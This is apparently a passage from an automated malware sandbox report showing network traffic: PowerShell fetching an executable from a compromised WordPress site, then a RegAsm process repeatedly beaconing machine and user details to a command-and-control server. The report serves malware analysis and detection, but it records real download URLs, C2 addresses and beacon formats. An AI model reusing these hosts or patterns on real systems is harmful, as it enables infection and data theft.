Jan 5, 2021 19:07:18.324021101 CET	80	49350	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.342972994 CET	80	49350	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.342991114 CET	80	49350	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.343251944 CET	49350	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.343328953 CET	49350	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.391840935 CET	80	49350	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.492227077 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.540771008 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.540899992 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.546783924 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.620821953 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.621004105 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.683228970 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.726488113 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.726543903 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.726808071 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.726893902 CET	49351	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.775402069 CET	80	49351	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.885631084 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.934432030 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:18.934586048 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:18.940629005 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.011441946 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.011570930 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.074079037 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.100817919 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.100860119 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.101047039 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.101109982 CET	49352	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.149830103 CET	80	49352	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.259362936 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.307862043 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.308063984 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.314073086 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.386833906 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.386976957 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.464514017 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.472804070 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.472846031 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.473216057 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.473258972 CET	49353	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.521998882 CET	80	49353	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.627652884 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.676302910 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.676390886 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.678881884 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.745924950 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.746011019 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.823863983 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.836988926 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.837122917 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:19.837145090 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.837182999 CET	49354	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:19.885761976 CET	80	49354	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.005683899 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.054624081 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.054822922 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.060760021 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.136897087 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.136992931 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.214624882 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.222455978 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.222628117 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.222719908 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.223773003 CET	49355	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.271420002 CET	80	49355	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.383287907 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.431929111 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.432050943 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.437124968 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.511676073 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.511753082 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.573920012 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.607773066 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.607801914 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.607991934 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.608021975 CET	49356	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.656537056 CET	80	49356	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.762762070 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.811413050 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.811614990 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.817266941 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.886575937 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.886699915 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.964807034 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.984601021 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.984644890 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:20.984993935 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:20.985939026 CET	49357	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.035293102 CET	80	49357	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.143081903 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.192502975 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.192637920 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.198559999 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.277319908 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.277508974 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.356806040 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.387078047 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.387130976 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.387304068 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.387351036 CET	49358	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.436928034 CET	80	49358	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.517699003 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.566459894 CET	80	49359	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.566590071 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.572190046 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.636542082 CET	80	49359	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.636636019 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.714544058 CET	80	49359	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.741503954 CET	80	49359	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.741559982 CET	80	49359	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:21.741643906 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.741707087 CET	49359	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:21.790384054 CET	80	49359	185.206.215.56	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2021 19:05:20.671252966 CET	52197	53	192.168.2.22	8.8.8.8
Jan 5, 2021 19:05:20.727847099 CET	53	52197	8.8.8.8	192.168.2.22
Jan 5, 2021 19:05:21.293368101 CET	53099	53	192.168.2.22	8.8.8.8
Jan 5, 2021 19:05:21.351258039 CET	53	53099	8.8.8.8	192.168.2.22
Jan 5, 2021 19:05:21.357091904 CET	52838	53	192.168.2.22	8.8.8.8
Jan 5, 2021 19:05:21.415157080 CET	53	52838	8.8.8.8	192.168.2.22
Jan 5, 2021 19:05:22.378812075 CET	61200	53	192.168.2.22	8.8.8.8
Jan 5, 2021 19:05:22.447736979 CET	53	61200	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 5, 2021 19:05:20.671252966 CET	192.168.2.22	8.8.8.8	0xad13	Standard query (0)	cutt.ly	A (IP address)	IN (0x0001)
Jan 5, 2021 19:05:22.378812075 CET	192.168.2.22	8.8.8.8	0x1175	Standard query (0)	bighoreca.nl	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 5, 2021 19:05:20.727847099 CET	8.8.8.8	192.168.2.22	0xad13	No error (0)	cutt.ly	104.22.0.232	A (IP address)	IN (0x0001)
Jan 5, 2021 19:05:20.727847099 CET	8.8.8.8	192.168.2.22	0xad13	No error (0)	cutt.ly	172.67.8.238	A (IP address)	IN (0x0001)
Jan 5, 2021 19:05:20.727847099 CET	8.8.8.8	192.168.2.22	0xad13	No error (0)	cutt.ly	104.22.1.232	A (IP address)	IN (0x0001)
Jan 5, 2021 19:05:22.447736979 CET	8.8.8.8	192.168.2.22	0x1175	No error (0)	bighoreca.nl	83.172.144.37	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

bighoreca.nl

185.206.215.56

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	83.172.144.37	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:05:22.500040054 CET	70	OUT	GET /wp-content/themes/index/QPR-3067.exe HTTP/1.1 Host: bighoreca.nl Connection: Keep-Alive
Jan 5, 2021 19:05:22.551645994 CET	71	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 05 Jan 2021 18:05:22 GMT Content-Type: application/octet-stream Content-Length: 938440 Last-Modified: Tue, 05 Jan 2021 14:03:47 GMT Connection: keep-alive ETag: "5ff471c3-e51c8" X-Powered-By: PleskLin Accept-Ranges: bytes
Jan 5, 2021 19:05:22.551749945 CET	72	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELlt.L @ `
Jan 5, 2021 19:05:22.551772118 CET	72	IN	Data Raw: 00 06 Data Ascii:
Jan 5, 2021 19:05:22.551798105 CET	74	IN	Data Raw: 74 0b 00 00 02 26 de 0e 26 28 1a 00 00 06 74 11 00 00 02 26 de 00 00 de 16 00 00 28 1a 00 00 06 74 13 00 00 02 26 00 fe 0c 04 00 2d ed de 00 00 38 92 00 00 00 00 00 fe 0c 00 00 2d 0d 28 1a 00 00 06 74 06 00 00 02 26 2b 1f 00 28 1a 00 00 06 74 15 Data Ascii: t&&(t&(t&-8-(t&+(t&(t&Z-(t&(t&+.(t&+6+&&(t
Jan 5, 2021 19:05:22.551816940 CET	74	IN	Data Raw: 00 00 Data Ascii:
Jan 5, 2021 19:05:22.551848888 CET	75	IN	Data Raw: 73 02 00 00 13 00 00 00 00 00 00 00 00 00 00 00 dd 01 00 00 6d 00 00 00 4a 02 00 00 3f 00 00 00 06 00 00 01 00 00 00 00 97 02 00 00 19 00 00 00 b0 02 00 00 0e 00 00 00 06 00 00 01 02 00 00 00 96 02 00 00 2b 00 00 00 c1 02 00 00 16 00 00 00 00 00 Data Ascii: smJ?+6ZvP!q:HW?
Jan 5, 2021 19:05:22.551868916 CET	75	IN	Data Raw: fe 0e Data Ascii:
Jan 5, 2021 19:05:22.551893950 CET	76	IN	Data Raw: 0a 00 fe 0c 0a 00 fe 0e 0a 00 2b 0c 00 28 1a 00 00 06 74 0e 00 00 02 26 00 de 1e 00 00 28 1a 00 00 06 74 06 00 00 02 26 28 1a 00 00 06 74 0c 00 00 02 26 00 14 2d e5 de 00 00 de 00 00 00 2b 1e 00 00 28 1a 00 00 06 74 04 00 00 02 26 de 0e 00 28 1a Data Ascii: +(t&(t&(t&-+(t&(t&-(t-(t&(t&(t&-&(t-(t&
Jan 5, 2021 19:05:22.551913023 CET	77	IN	Data Raw: 00 28 Data Ascii: (
Jan 5, 2021 19:05:22.602938890 CET	78	IN	Data Raw: 1a 00 00 06 74 06 00 00 02 26 de 0e 26 28 1a 00 00 06 74 01 00 00 02 26 de 00 00 de 00 00 de 2a 00 28 1a 00 00 06 74 07 00 00 01 2d 1a 00 fe 0c 06 00 fe 0e 06 00 de 0e 00 28 1a 00 00 06 74 0c 00 00 02 26 de 00 00 00 de 00 00 00 00 00 14 fe 0e 11 Data Ascii: t&&(t&*(t-(t&-#&(t&(t,-(t&--(t&+2\-(t&
Jan 5, 2021 19:05:22.602984905 CET	78	IN	Data Raw: 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:07.649980068 CET	1143	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 176 Connection: close
Jan 5, 2021 19:06:07.715271950 CET	1143	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus216554ALBUS-PCk0DE4229FCF97F5879F50F8FD3qUHHF
Jan 5, 2021 19:06:07.837934971 CET	1143	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:06 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49177	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:11.296993017 CET	1155	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:11.370929956 CET	1155	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:11.461579084 CET	1155	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49267	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:46.730741978 CET	1273	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:46.808608055 CET	1274	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:46.897286892 CET	1274	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:45 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49268	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:47.102634907 CET	1275	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:47.167920113 CET	1275	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:47.257102013 CET	1275	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:46 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49269	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:47.475682020 CET	1276	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:47.558752060 CET	1276	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:47.647986889 CET	1277	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:46 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49270	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:47.867741108 CET	1277	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:47.933981895 CET	1278	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:48.042228937 CET	1278	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:47 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49271	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:48.254686117 CET	1279	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:48.324067116 CET	1279	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:48.422138929 CET	1279	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:47 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49272	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:48.626007080 CET	1280	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:48.699857950 CET	1280	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:48.788675070 CET	1281	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:47 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49273	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:49.009732008 CET	1281	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:49.074176073 CET	1282	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:49.170300961 CET	1282	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:48 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49274	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:49.377604008 CET	1283	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
